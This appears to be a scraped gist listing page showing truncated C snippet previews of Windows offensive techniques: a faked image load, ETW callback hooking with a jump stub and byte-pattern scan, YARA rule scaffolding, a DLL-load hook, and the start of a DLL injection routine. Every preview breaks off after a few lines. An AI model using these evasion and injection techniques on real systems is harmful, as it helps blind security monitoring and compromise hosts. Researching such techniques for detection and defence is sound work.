This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <winternl.h> | |
#define DLL_TO_FAKE_LOAD L"\\??\\C:\\windows\\system32\\calc.exe" | |
BOOL FakeImageLoad() | |
{ | |
HANDLE hFile; | |
SIZE_T stSize = 0; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INT ToReportOrNotToReportThatIsTheQuestion( YR_SCAN_CONTEXT* Context, | |
INT Message, | |
PVOID pMessageData, | |
PVOID pUserData | |
) | |
{ | |
if (Message == CALLBACK_MSG_RULE_MATCHING) | |
{ | |
(*(int*)pUserData) = 1; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define RULE_ALLOW_ALL "rule Allow { condition: false }" | |
YRInitalize(); | |
RtlCopyMemory(cRule, RULE_ALLOW_ALL, strlen(RULE_ALLOW_ALL)); | |
if (YRCompilerCreate(&yrCompiler) != ERROR_SUCCESS) | |
{ | |
return -1; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef VOID(WINAPI * EtwEventCallback_) (EVENT_RECORD *EventRecord); | |
VOID DoOriginalEtwCallback( EVENT_RECORD *EventRecord ) | |
{ | |
DWORD dwOldProtect; | |
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect); | |
memcpy(lpCallbackOffset, OriginalBytes, sizeof(OriginalBytes)); | |
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), dwOldProtect, &dwOldProtect); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VOID HookEtwCallback() | |
{ | |
DWORD oldProtect, oldOldProtect; | |
unsigned char boing[] = { 0x49, 0xbb, 0xde, 0xad, 0xc0, 0xde, 0xde, 0xad, 0xc0, 0xde, 0x41, 0xff, 0xe3 }; | |
*(void **)(boing + 2) = &EtwCallbackHook; | |
VirtualProtect(lpCallbackOffset, 13, PAGE_EXECUTE_READWRITE, &oldProtect); | |
memcpy(lpCallbackOffset, boing, sizeof(boing)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define PATTERN "\x48\x83\xec\x38\x4c\x8b\x0d" | |
DWORD i; | |
LPVOID lpCallbackOffset; | |
for (i = 0; i < 0xfffff; i++) | |
{ | |
if (!memcmp((PVOID)(dwBase + i), (unsigned char*)PATTERN, strlen(PATTERN))) | |
{ | |
lpCallbackOffset = (LPVOID)(dwBase + i); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DWORD_PTR dwBase; | |
DWORD i, dwSizeNeeded; | |
HMODULE hModules[102400]; | |
TCHAR szModule[MAX_PATH]; | |
if (EnumProcessModules(GetCurrentProcess(), hModules, sizeof(hModules), &dwSizeNeeded)) | |
{ | |
for (int i = 0; i < (dwSizeNeeded / sizeof(HMODULE)); i++) | |
{ | |
ZeroMemory((PVOID)szModule, MAX_PATH); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <wincrypt.h> | |
#include <tlhelp32.h> | |
#include <ntdef.h> | |
#include <winternl.h> | |
#include "main.h" | |
/****************************************************************************************************/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <windows.h> | |
#include <winternl.h> | |
#define dwAllowDllCount 1 | |
CHAR cAllowDlls[dwAllowDllCount][MAX_PATH] = { | |
"W:\\allowed.dll" | |
}; | |
VOID HookLoadDll(LPVOID lpAddr); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
VOID InjectDll(DWORD dwPid, LPCVOID lpDllPath) | |
{ | |
LPVOID lpBuffer; | |
HANDLE hProcess, hThread; | |
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwPid); | |
if (!hProcess) | |
{ | |
return; | |
} |
NewerOlder